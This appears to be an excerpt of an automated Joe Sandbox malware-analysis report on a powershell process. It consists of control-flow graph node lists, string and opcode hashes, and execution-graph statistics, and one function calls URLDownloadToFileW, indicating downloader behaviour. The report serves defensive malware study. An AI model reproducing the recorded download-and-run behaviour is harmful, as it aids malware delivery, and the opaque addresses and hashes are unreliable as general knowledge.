                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4']q$4']q$4']q$4']q
                                          • API String ID: 0-1785108022
                                          • Opcode ID: 6634cbd45f4764910ae4a4233f5cd601b4b6f66e1ab64542352a3c99eb80238e
                                          • Instruction ID: fa8229a8382316f5103e56c0fb9d21f17fe5aac6037269513eb2b147cafdc976
                                          • Opcode Fuzzy Hash: 6634cbd45f4764910ae4a4233f5cd601b4b6f66e1ab64542352a3c99eb80238e
                                          • Instruction Fuzzy Hash: E71248B17043058FCB258B689C1076A7BAABFD2718F1488BAD905CF252DB36CD45C7A2
                                          Function 07934610 Relevance: 2.9, Strings: 2, Instructions: 441COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 171 7934610-793463b 172 7934af2-7934b16 171->172 173 7934641-7934646 171->173 181 7934b18-7934b1e 172->181 182 7934b1f-7934b25 172->182 174 7934648-793464e 173->174 175 793465e-7934663 173->175 176 7934652-793465c 174->176 177 7934650 174->177 179 7934673 175->179 180 7934665-7934671 175->180 176->175 177->175 183 7934675-7934677 179->183 180->183 181->182 185 7934b27-7934b33 182->185 186 7934b35 182->186 187 7934a93-7934a9d 183->187 188 793467d-7934687 183->188 191 7934b37-7934b39 185->191 186->191 189 7934aab-7934ab1 187->189 190 7934a9f-7934aa8 187->190 188->172 192 793468d-7934692 188->192 193 7934ab3-7934ab5 189->193 194 7934ab7-7934ac3 189->194 195 7934b7b-7934b85 191->195 196 7934b3b-7934b42 191->196 197 7934694-793469a 192->197 198 79346aa-79346b8 192->198 201 7934ac5-7934aef 193->201 194->201 199 7934b87-7934b8b 195->199 200 7934b8e-7934b94 195->200 196->195 202 7934b44-7934b61 196->202 203 793469e-79346a8 197->203 204 793469c 197->204 198->187 209 79346be-79346dd 198->209 206 7934b96-7934b98 200->206 207 7934b9a-7934ba6 200->207 215 7934b63-7934b75 202->215 216 7934bc9-7934bce 202->216 203->198 204->198 210 7934ba8-7934bc6 206->210 207->210 209->187 223 79346e3-79346ed 209->223 215->195 216->215 223->172 224 79346f3-79346f8 223->224 225 7934710-7934714 224->225 226 79346fa-7934700 224->226 225->187 229 793471a-793471e 225->229 227 7934702 226->227 228 7934704-793470e 226->228 227->225 228->225 229->187 230 7934724-7934728 229->230 230->187 231 793472e-793473e 230->231 233 79347c6-7934815 231->233 234 7934744-793476b 231->234 251 793481c-793482f 233->251 239 7934785-79347b3 234->239 240 793476d-7934773 234->240 248 79347c1-79347c4 239->248 249 79347b5-79347b7 239->249 241 7934777-7934783 240->241 242 7934775 240->242 241->239 242->239 248->251 249->248 252 79348b7-7934906 251->252 253 7934835-793485c 251->253 270 793490d-7934920 252->270 258 7934876-79348a4 253->258 259 793485e-7934864 253->259 267 79348b2-79348b5 258->267 268 79348a6-79348a8 258->268 260 7934866 259->260 261 7934868-7934874 259->261 260->258 261->258 267->270 268->267 271 7934926-793494d 270->271 272 79349a8-79349f7 270->272 277 7934967-7934995 271->277 278 793494f-7934955 271->278 289 79349fe-7934a2c 272->289 287 79349a3-79349a6 277->287 288 7934997-7934999 277->288 279 7934957 278->279 280 7934959-7934965 278->280 279->277 280->277 287->289 288->287 294 7934a2f call 33e1bf8 289->294 295 7934a2f call 33e7a18 289->295 296 7934a2f call 33e7da8 289->296 297 7934a2f call 33e79f7 289->297 298 7934a2f call 33e7c45 289->298 292 7934a34-7934a90 294->292 295->292 296->292 297->292 298->292
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: tP]q$tP]q
                                          • API String ID: 0-145478062
                                          • Opcode ID: f90435376050fb57f030c11f6e10b80a237ac2e23608267ce257a7b0fd5c98a4
                                          • Instruction ID: c476d6f1cea93bc5e3d954cfd9114e9fb96df77019ef17a4be04ef306bb447f2
                                          • Opcode Fuzzy Hash: f90435376050fb57f030c11f6e10b80a237ac2e23608267ce257a7b0fd5c98a4
                                          • Instruction Fuzzy Hash: 23F1C0B0B002459FDB14DF68C850A7EBBE6EFC9714F268869E9059B360DA71DC41CBA1
                                          Function 079304F8 Relevance: 2.7, Strings: 2, Instructions: 158COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 299 79304f8-793050a 301 7930510-7930521 299->301 302 79305ca-79305ee 299->302 305 7930523-7930529 301->305 306 793053b-7930558 301->306 307 79305f0-79305f6 302->307 308 79305f7-79305fd 302->308 309 793052b 305->309 310 793052d-7930539 305->310 306->302 317 793055a-793057c 306->317 307->308 311 793066b-7930675 308->311 312 79305ff-793063e 308->312 309->306 310->306 314 7930680-7930686 311->314 315 7930677-793067d 311->315 331 7930640-793064e 312->331 332 79306bb-79306c0 312->332 318 7930688-793068a 314->318 319 793068c-7930698 314->319 326 7930596-79305ae 317->326 327 793057e-7930584 317->327 321 793069a-79306b8 318->321 319->321 336 79305b0-79305b2 326->336 337 79305bc-79305c7 326->337 329 7930586 327->329 330 7930588-7930594 327->330 329->326 330->326 340 7930656-7930665 331->340 332->331 336->337 340->311
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: tP]q$tP]q
                                          • API String ID: 0-145478062
                                          • Opcode ID: 2d7869584f7e09ff45b0f6084bb79eaec196ccc1a552b1a299a5c1b30b27ae96
                                          • Instruction ID: 9b05ca500a9cba9958c066c93ee588c22a9018ac0f901046b90018ae161cbeb5
                                          • Opcode Fuzzy Hash: 2d7869584f7e09ff45b0f6084bb79eaec196ccc1a552b1a299a5c1b30b27ae96
                                          • Instruction Fuzzy Hash: DE5127B1700314AFCB148B6D885076ABBEBEFC5718F54886AE948DF381CA71DC45C7A1
                                          Function 033E1BF8 Relevance: 1.6, APIs: 1, Instructions: 68filenetworkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 421 33e1bf8-33e7e52 424 33e7e5d-33e7e63 421->424 425 33e7e54-33e7e5a 421->425 426 33e7e65-33e7e6e 424->426 427 33e7e71-33e7ea6 URLDownloadToFileW 424->427 425->424 426->427 429 33e7eaf-33e7ec3 427->429 430 33e7ea8-33e7eae 427->430 430->429
                                          APIs
                                          • URLDownloadToFileW.URLMON(00000000,?,?,?), ref: 033E7E99
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2180263689.00000000033E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_33e0000_powershell.jbxd
                                          Similarity
                                          • API ID: DownloadFile
                                          • String ID:
                                          • API String ID: 1407266417-0
                                          • Opcode ID: daf975896a088c98cb013323d702f7f399218b17d4e846439292911c9e253607
                                          • Instruction ID: ce2816efe1b32a6f05fc4ca42f7337c3690a80196204baf8524530703c1db77b
                                          • Opcode Fuzzy Hash: daf975896a088c98cb013323d702f7f399218b17d4e846439292911c9e253607
                                          • Instruction Fuzzy Hash: 9C2126B5D01219EFCB04CF99D984AEEFBB4FF48310F14852AE918A7250D374AA50CFA0
                                          Function 079345F4 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 432 79345f4-7934604 433 7934606-793463b 432->433 434 79345b4-79345d1 432->434 438 7934af2-7934b16 433->438 439 7934641-7934646 433->439 435 79345d3-79345d5 434->435 436 79345df-79345f0 434->436 435->436 448 7934b18-7934b1e 438->448 449 7934b1f-7934b25 438->449 441 7934648-793464e 439->441 442 793465e-7934663 439->442 443 7934652-793465c 441->443 444 7934650 441->444 446 7934673 442->446 447 7934665-7934671 442->447 443->442 444->442 450 7934675-7934677 446->450 447->450 448->449 452 7934b27-7934b33 449->452 453 7934b35 449->453 454 7934a93-7934a9d 450->454 455 793467d-7934687 450->455 458 7934b37-7934b39 452->458 453->458 456 7934aab-7934ab1 454->456 457 7934a9f-7934aa8 454->457 455->438 459 793468d-7934692 455->459 460 7934ab3-7934ab5 456->460 461 7934ab7-7934ac3 456->461 462 7934b7b-7934b85 458->462 463 7934b3b-7934b42 458->463 464 7934694-793469a 459->464 465 79346aa-79346b8 459->465 468 7934ac5-7934aef 460->468 461->468 466 7934b87-7934b8b 462->466 467 7934b8e-7934b94 462->467 463->462 469 7934b44-7934b61 463->469 470 793469e-79346a8 464->470 471 793469c 464->471 465->454 476 79346be-79346dd 465->476 473 7934b96-7934b98 467->473 474 7934b9a-7934ba6 467->474 482 7934b63-7934b75 469->482 483 7934bc9-7934bce 469->483 470->465 471->465 477 7934ba8-7934bc6 473->477 474->477 476->454 490 79346e3-79346ed 476->490 482->462 483->482 490->438 491 79346f3-79346f8 490->491 492 7934710-7934714 491->492 493 79346fa-7934700 491->493 492->454 496 793471a-793471e 492->496 494 7934702 493->494 495 7934704-793470e 493->495 494->492 495->492 496->454 497 7934724-7934728 496->497 497->454 498 793472e-793473e 497->498 500 79347c6-7934815 498->500 501 7934744-793476b 498->501 518 793481c-793482f 500->518 506 7934785-79347b3 501->506 507 793476d-7934773 501->507 515 79347c1-79347c4 506->515 516 79347b5-79347b7 506->516 508 7934777-7934783 507->508 509 7934775 507->509 508->506 509->506 515->518 516->515 519 79348b7-7934906 518->519 520 7934835-793485c 518->520 537 793490d-7934920 519->537 525 7934876-79348a4 520->525 526 793485e-7934864 520->526 534 79348b2-79348b5 525->534 535 79348a6-79348a8 525->535 527 7934866 526->527 528 7934868-7934874 526->528 527->525 528->525 534->537 535->534 538 7934926-793494d 537->538 539 79349a8-79349f7 537->539 544 7934967-7934995 538->544 545 793494f-7934955 538->545 556 79349fe-7934a2c 539->556 554 79349a3-79349a6 544->554 555 7934997-7934999 544->555 546 7934957 545->546 547 7934959-7934965 545->547 546->544 547->544 554->556 555->554 561 7934a2f call 33e1bf8 556->561 562 7934a2f call 33e7a18 556->562 563 7934a2f call 33e7da8 556->563 564 7934a2f call 33e79f7 556->564 565 7934a2f call 33e7c45 556->565 559 7934a34-7934a90 561->559 562->559 563->559 564->559 565->559
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: tP]q
                                          • API String ID: 0-2175968468
                                          • Opcode ID: a522eab080e4751355315fcd82caf15a4a0f9ce2c9a613c8157254873432430b
                                          • Instruction ID: 78668b113a98292b0a19a0d71aee1ba8d6622fd621296b6a4061dd5f9054d3fe
                                          • Opcode Fuzzy Hash: a522eab080e4751355315fcd82caf15a4a0f9ce2c9a613c8157254873432430b
                                          • Instruction Fuzzy Hash: 8AA1E5B4B002859FCB24CF58C441A79BBF6FF89718F1688A9E8559B361CB71DC41CB91
                                          Function 07931F24 Relevance: .1, Instructions: 121COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 895 7931f24-7931f65 897 7931f6b-7931f70 895->897 898 7932158-79321a2 895->898 899 7931f72-7931f78 897->899 900 7931f88-7931f8c 897->900 908 7932326-793236a 898->908 909 79321a8-79321ad 898->909 904 7931f7a 899->904 905 7931f7c-7931f86 899->905 901 7931f92-7931f94 900->901 902 7932108-7932112 900->902 906 7931f96-7931fa2 901->906 907 7931fa4 901->907 910 7932120-7932126 902->910 911 7932114-793211d 902->911 904->900 905->900 912 7931fa6-7931fa8 906->912 907->912 925 7932480-79324b5 908->925 926 7932370-7932375 908->926 913 79321c5-79321c9 909->913 914 79321af-79321b5 909->914 915 7932128-793212a 910->915 916 793212c-7932138 910->916 912->902 918 7931fae-7931fcd 912->918 923 79322d8-79322e2 913->923 924 79321cf-79321d1 913->924 920 79321b7 914->920 921 79321b9-79321c3 914->921 922 793213a-7932155 915->922 916->922 963 7931fcf-7931fdb 918->963 964 7931fdd 918->964 920->913 921->913 927 79322e4-79322ec 923->927 928 79322ef-79322f5 923->928 930 79321d3-79321df 924->930 931 79321e1 924->931 954 79324e3-79324ed 925->954 955 79324b7-79324d9 925->955 933 7932377-793237d 926->933 934 793238d-7932391 926->934 936 79322f7-79322f9 928->936 937 79322fb-7932307 928->937 938 79321e3-79321e5 930->938 931->938 940 7932381-793238b 933->940 941 793237f 933->941 943 7932432-793243c 934->943 944 7932397-7932399 934->944 942 7932309-7932323 936->942 937->942 938->923 946 79321eb-793220a 938->946 940->934 941->934 948 7932449-793244f 943->948 949 793243e-7932446 943->949 952 793239b-79323a7 944->952 953 79323a9 944->953 981 793221a 946->981 982 793220c-7932218 946->982 959 7932451-7932453 948->959 960 7932455-7932461 948->960 956 79323ab-79323ad 952->956 953->956 961 79324f7-79324fd 954->961 962 79324ef-79324f4 954->962 992 79324db-79324e0 955->992 993 793252d-7932556 955->993 956->943 966 79323b3-79323b5 956->966 967 7932463-793247d 959->967 960->967 968 7932503-793250f 961->968 969 79324ff-7932501 961->969 971 7931fdf-7931fe1 963->971 964->971 972 79323b7-79323bd 966->972 973 79323cf-79323d6 966->973 977 7932511-793252a 968->977 969->977 971->902 978 7931fe7-7931fee 971->978 979 79323c1-79323cd 972->979 980 79323bf 972->980 983 79323d8-79323de 973->983 984 79323ee-793242f 973->984 978->898 988 7931ff4-7931ff9 978->988 979->973 980->973 989 793221c-793221e 981->989 982->989 990 79323e2-79323ec 983->990 991 79323e0 983->991 994 7932011-7932020 988->994 995 7931ffb-7932001 988->995 989->923 998 7932224-793225b 989->998 990->984 991->984 1012 7932585-79325a6 993->1012 1013 7932558-793257e 993->1013 994->902 1008 7932026-7932044 994->1008 1001 7932003 995->1001 1002 7932005-793200f 995->1002 1020 7932275-793227c 998->1020 1021 793225d-7932263 998->1021 1001->994 1002->994 1008->902 1019 793204a-793206f 1008->1019 1022 79325a8-79325ae 1012->1022 1023 79325af-79325b4 1012->1023 1013->1012 1019->902 1047 7932075-793207c 1019->1047 1024 7932294-79322d5 1020->1024 1025 793227e-7932284 1020->1025 1029 7932267-7932273 1021->1029 1030 7932265 1021->1030 1022->1023 1026 79325b6-79325d3 1023->1026 1027 79325ed-79325f7 1023->1027 1031 7932286 1025->1031 1032 7932288-7932292 1025->1032 1041 79325d5-79325e7 1026->1041 1042 793263d-7932642 1026->1042 1034 7932600-7932606 1027->1034 1035 79325f9-79325fd 1027->1035 1029->1020 1030->1020 1031->1024 1032->1024 1039 7932608-793260a 1034->1039 1040 793260c-7932618 1034->1040 1044 793261a-793263a 1039->1044 1040->1044 1041->1027 1042->1041 1049 79320c2-79320f5 1047->1049 1050 793207e-7932099 1047->1050 1062 79320fc-7932105 1049->1062 1055 79320b3-79320b7 1050->1055 1056 793209b-79320a1 1050->1056 1060 79320be-79320c0 1055->1060 1057 79320a3 1056->1057 1058 79320a5-79320b1 1056->1058 1057->1055 1058->1055 1060->1062
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c2e01fe0c73b5379a981080d1a810a0e5fa66ee7605411e706d3335ccabc98b0
                                          • Instruction ID: 5d93ac3852fe402335f72d020292cdf18f0891917975d9aaeb6c89f5812c18c3
                                          • Opcode Fuzzy Hash: c2e01fe0c73b5379a981080d1a810a0e5fa66ee7605411e706d3335ccabc98b0
                                          • Instruction Fuzzy Hash: 074126F0A043028FCB20CF688E41A7D7BB6FF85758F5984A6C9009F256D772D885CBA1
                                          Function 032ED01D Relevance: .0, Instructions: 45COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2179936507.00000000032ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 032ED000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_32ed000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d58cf92ca48f6c950d6c12cd980317f33178d688b7da9c2603af0197bcae4940
                                          • Instruction ID: 189c4ce4ed2728f3281e108483adad588b1237b4e5e217cc510bdc02a3862207
                                          • Opcode Fuzzy Hash: d58cf92ca48f6c950d6c12cd980317f33178d688b7da9c2603af0197bcae4940
                                          • Instruction Fuzzy Hash: F30126710193009EE720CA29CD84B67FF9CEF46321F1CC56AED480B246C2799882CAB1
                                          Function 032ED006 Relevance: .0, Instructions: 44COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2179936507.00000000032ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 032ED000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_32ed000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 41bff0b66b9b167a8756a95331b145787260a77221b0be07446751fe9b96acaa
                                          • Instruction ID: 2c46899714a4e132c88b247d515d98c834bc5275cd7341f0dc2b0d991d6854bd
                                          • Opcode Fuzzy Hash: 41bff0b66b9b167a8756a95331b145787260a77221b0be07446751fe9b96acaa
                                          • Instruction Fuzzy Hash: 8801407200E3C09ED7128B25C994B52BFB8EF47225F1D81DBD9888F2A3C2695845C772

                                          Non-executed Functions

                                          Function 079315A8 Relevance: 8.0, Strings: 6, Instructions: 499COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q
                                          • API String ID: 0-3934567954
                                          • Opcode ID: 0892f6040e4d67d73aa4c6ced9f84c9e6745ec2cac32eef7860797cd9070581d
                                          • Instruction ID: 68c294bfad64326969422e513c5ece35ef4005e062681f1600df2fb0b8eeb727
                                          • Opcode Fuzzy Hash: 0892f6040e4d67d73aa4c6ced9f84c9e6745ec2cac32eef7860797cd9070581d
                                          • Instruction Fuzzy Hash: CDF15BB1B447098FCB148B68D8006AABBFAEFD6325F18847AD445CF261DB31DD46CB91
                                          Function 07933D30 Relevance: 5.3, Strings: 4, Instructions: 274COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4']q$4']q$4']q$4']q
                                          • API String ID: 0-1785108022
                                          • Opcode ID: 4497880dc4964607bc51609a5f989ce24aa165e79d44cfdd39c9a31515b02491
                                          • Instruction ID: d64ac258375d04a0a3b681b16176897f408fa1d658b9d4bc7f6bddb52e20c860
                                          • Opcode Fuzzy Hash: 4497880dc4964607bc51609a5f989ce24aa165e79d44cfdd39c9a31515b02491
                                          • Instruction Fuzzy Hash: 0A9178B0B44346CFCB249F68D4506AABBFAEF86225F1484BBD445CF252DB35C845CBA1
                                          Function 07933550 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $]q$$]q$$]q$$]q
                                          • API String ID: 0-858218434
                                          • Opcode ID: 65cc6360b2edc3de172090b5efbf69b1e965f4a1c4674a83572932b24a2e93fd
                                          • Instruction ID: eaff97a6efdf799311b2ffd7a419a7eaa46d63512befd76c30ed230ff16766df
                                          • Opcode Fuzzy Hash: 65cc6360b2edc3de172090b5efbf69b1e965f4a1c4674a83572932b24a2e93fd
                                          • Instruction Fuzzy Hash: 9F214CB13943066FDB34856A5841B36BADE9BC471DF64883B9409CB381CD76C8418761
                                          Function 07930080 Relevance: 5.0, Strings: 4, Instructions: 45COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2184645406.0000000007930000.00000040.00000800.00020000.00000000.sdmp, Offset: 07930000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_7930000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4']q$4']q$$]q$$]q
                                          • API String ID: 0-978391646
                                          • Opcode ID: f271b3aa0b276d444018e9bfb95c80780dba732122778ab0b714bdcdc33e8246
                                          • Instruction ID: 7c416615a08abb68719f1b332e7536467f94dc12da99023404ef5c33a7e72494
                                          • Opcode Fuzzy Hash: f271b3aa0b276d444018e9bfb95c80780dba732122778ab0b714bdcdc33e8246
                                          • Instruction Fuzzy Hash: 8801F47070D3854FC33A426C183056A6FBBAFC3A5036A48ABC4C0DF297CD598C0AC3A6

                                          Execution Graph

                                          Execution Coverage:3.2%
                                          Dynamic/Decrypted Code Coverage:0.4%
                                          Signature Coverage:8.5%
                                          Total number of Nodes:2000
                                          Total number of Limit Nodes:139
                                          execution_graph 104434 af416f 104438 b05fe6 104434->104438 104436 af417a 104437 b05fe6 85 API calls 104436->104437 104437->104436 104439 b06020 104438->104439 104444 b05ff3 104438->104444 104439->104436 104440 b06022 104477 ab9328 84 API calls Mailbox 104440->104477 104442 b06027 104449 ab9837 104442->104449 104444->104439 104444->104440 104444->104442 104447 b0601a 104444->104447 104476 ab95a0 59 API calls _wcsstr 104447->104476 104450 ab9851 104449->104450 104459 ab984b 104449->104459 104451 aef5d3 __i64tow 104450->104451 104452 ab9899 104450->104452 104454 ab9857 __itow 104450->104454 104458 aef4da 104450->104458 104492 ad3698 83 API calls 3 library calls 104452->104492 104478 ad0db6 104454->104478 104457 ab9871 104457->104459 104488 ab7de1 104457->104488 104460 ad0db6 Mailbox 59 API calls 104458->104460 104465 aef552 Mailbox _wcscpy 104458->104465 104467 ab7b2e 104459->104467 104462 aef51f 104460->104462 104463 ad0db6 Mailbox 59 API calls 104462->104463 104464 aef545 104463->104464 104464->104465 104466 ab7de1 59 API calls 104464->104466 104493 ad3698 83 API calls 3 library calls 104465->104493 104466->104465 104468 aeec6b 104467->104468 104469 ab7b40 104467->104469 104528 b07bdb 59 API calls _memmove 104468->104528 104522 ab7a51 104469->104522 104472 ab7b4c 104472->104439 104473 aeec75 104529 ab8047 104473->104529 104475 aeec7d Mailbox 104476->104439 104477->104442 104482 ad0dbe 104478->104482 104480 ad0dd8 104480->104457 104482->104480 104483 ad0ddc std::exception::exception 104482->104483 104494 ad571c 104482->104494 104511 ad33a1 DecodePointer 104482->104511 104512 ad859b RaiseException 104483->104512 104485 ad0e06 104513 ad84d1 58 API calls _free 104485->104513 104487 ad0e18 104487->104457 104489 ab7df0 __NMSG_WRITE _memmove 104488->104489 104490 ad0db6 Mailbox 59 API calls 104489->104490 104491 ab7e2e 104490->104491 104491->104459 104492->104454 104493->104451 104495 ad5797 104494->104495 104500 ad5728 104494->104500 104520 ad33a1 DecodePointer 104495->104520 104497 ad579d 104521 ad8b28 58 API calls __getptd_noexit 104497->104521 104498 ad5733 104498->104500 104514 ada16b 58 API calls 2 library calls 104498->104514 104515 ada1c8 58 API calls 7 library calls 104498->104515 104516 ad309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 104498->104516 104500->104498 104502 ad575b RtlAllocateHeap 104500->104502 104505 ad5783 104500->104505 104509 ad5781 104500->104509 104517 ad33a1 DecodePointer 104500->104517 104502->104500 104503 ad578f 104502->104503 104503->104482 104518 ad8b28 58 API calls __getptd_noexit 104505->104518 104519 ad8b28 58 API calls __getptd_noexit 104509->104519 104511->104482 104512->104485 104513->104487 104514->104498 104515->104498 104517->104500 104518->104509 104519->104503 104520->104497 104521->104503 104523 ab7a5f 104522->104523 104524 ab7a85 _memmove 104522->104524 104523->104524 104525 ad0db6 Mailbox 59 API calls 104523->104525 104524->104472 104526 ab7ad4 104525->104526 104527 ad0db6 Mailbox 59 API calls 104526->104527 104527->104524 104528->104473 104530 ab805a 104529->104530 104531 ab8052 104529->104531 104530->104475 104533 ab7f77 59 API calls 2 library calls 104531->104533 104533->104530 104534 aefdfc 104551 abab30 Mailbox _memmove 104534->104551 104539 abb525 104625 b19e4a 89 API calls 4 library calls 104539->104625 104541 af09e5 104631 b19e4a 89 API calls 4 library calls 104541->104631 104542 af0055 104624 b19e4a 89 API calls 4 library calls 104542->104624 104545 aba057 104546 ad0db6 59 API calls Mailbox 104553 ab9f37 Mailbox 104546->104553 104548 abb475 104552 ab8047 59 API calls 104548->104552 104549 abb47a 104549->104541 104549->104542 104550 af0064 104551->104539 104551->104545 104551->104553 104561 ab7de1 59 API calls 104551->104561 104567 ad0db6 59 API calls Mailbox 104551->104567 104568 abb2b6 104551->104568 104571 af086a 104551->104571 104573 af0878 104551->104573 104575 af085c 104551->104575 104576 abb21c 104551->104576 104579 b06e8f 59 API calls 104551->104579 104583 b2df23 104551->104583 104586 b2df37 104551->104586 104591 ab9ea0 104551->104591 104615 ab9c90 59 API calls Mailbox 104551->104615 104619 b2c193 85 API calls 2 library calls 104551->104619 104620 b2c2e0 96 API calls Mailbox 104551->104620 104621 b17956 59 API calls Mailbox 104551->104621 104622 b2bc6b 331 API calls Mailbox 104551->104622 104623 b0617e 59 API calls Mailbox 104551->104623 104552->104545 104553->104542 104553->104545 104553->104546 104553->104548 104553->104549 104556 ab7667 59 API calls 104553->104556 104557 ab8047 59 API calls 104553->104557 104559 ad2d40 67 API calls __cinit 104553->104559 104560 b06e8f 59 API calls 104553->104560 104562 af09d6 104553->104562 104564 aba55a 104553->104564 104589 abc8c0 331 API calls 2 library calls 104553->104589 104590 abb900 60 API calls Mailbox 104553->104590 104556->104553 104557->104553 104559->104553 104560->104553 104561->104551 104630 b19e4a 89 API calls 4 library calls 104562->104630 104629 b19e4a 89 API calls 4 library calls 104564->104629 104567->104551 104618 abf6a3 331 API calls 104568->104618 104627 ab9c90 59 API calls Mailbox 104571->104627 104628 b19e4a 89 API calls 4 library calls 104573->104628 104575->104545 104626 b0617e 59 API calls Mailbox 104575->104626 104616 ab9d3c 60 API calls Mailbox 104576->104616 104578 abb22d 104617 ab9d3c 60 API calls Mailbox 104578->104617 104579->104551 104632 b2cadd 104583->104632 104585 b2df33 104585->104551 104587 b2cadd 130 API calls 104586->104587 104588 b2df47 104587->104588 104588->104551 104589->104553 104590->104553 104592 ab9ebf 104591->104592 104609 ab9eed Mailbox 104591->104609 104593 ad0db6 Mailbox 59 API calls 104592->104593 104593->104609 104594 abb475 104595 ab8047 59 API calls 104594->104595 104608 aba057 104595->104608 104596 b06e8f 59 API calls 104596->104609 104597 abb47a 104598 af0055 104597->104598 104613 af09e5 104597->104613 104775 b19e4a 89 API calls 4 library calls 104598->104775 104601 ad0db6 59 API calls Mailbox 104601->104609 104603 af0064 104603->104551 104604 ab8047 59 API calls 104604->104609 104607 ab7667 59 API calls 104607->104609 104608->104551 104609->104594 104609->104596 104609->104597 104609->104598 104609->104601 104609->104604 104609->104607 104609->104608 104610 ad2d40 67 API calls __cinit 104609->104610 104611 af09d6 104609->104611 104614 aba55a 104609->104614 104773 abc8c0 331 API calls 2 library calls 104609->104773 104774 abb900 60 API calls Mailbox 104609->104774 104610->104609 104777 b19e4a 89 API calls 4 library calls 104611->104777 104778 b19e4a 89 API calls 4 library calls 104613->104778 104776 b19e4a 89 API calls 4 library calls 104614->104776 104615->104551 104616->104578 104617->104568 104618->104539 104619->104551 104620->104551 104621->104551 104622->104551 104623->104551 104624->104550 104625->104575 104626->104545 104627->104575 104628->104575 104629->104545 104630->104541 104631->104545 104633 ab9837 84 API calls 104632->104633 104634 b2cb1a 104633->104634 104658 b2cb61 Mailbox 104634->104658 104670 b2d7a5 104634->104670 104636 b2cdb9 104637 b2cf2e 104636->104637 104641 b2cdc7 104636->104641 104720 b2d8c8 92 API calls Mailbox 104637->104720 104640 b2cf3d 104640->104641 104643 b2cf49 104640->104643 104683 b2c96e 104641->104683 104642 ab9837 84 API calls 104660 b2cbb2 Mailbox 104642->104660 104643->104658 104648 b2ce00 104698 ad0c08 104648->104698 104651 b2ce33 104705 ab92ce 104651->104705 104652 b2ce1a 104704 b19e4a 89 API calls 4 library calls 104652->104704 104656 b2ce25 GetCurrentProcess TerminateProcess 104656->104651 104658->104585 104660->104636 104660->104642 104660->104658 104702 b2fbce 59 API calls 2 library calls 104660->104702 104703 b2cfdf 61 API calls 2 library calls 104660->104703 104662 b2cfa4 104662->104658 104666 b2cfb8 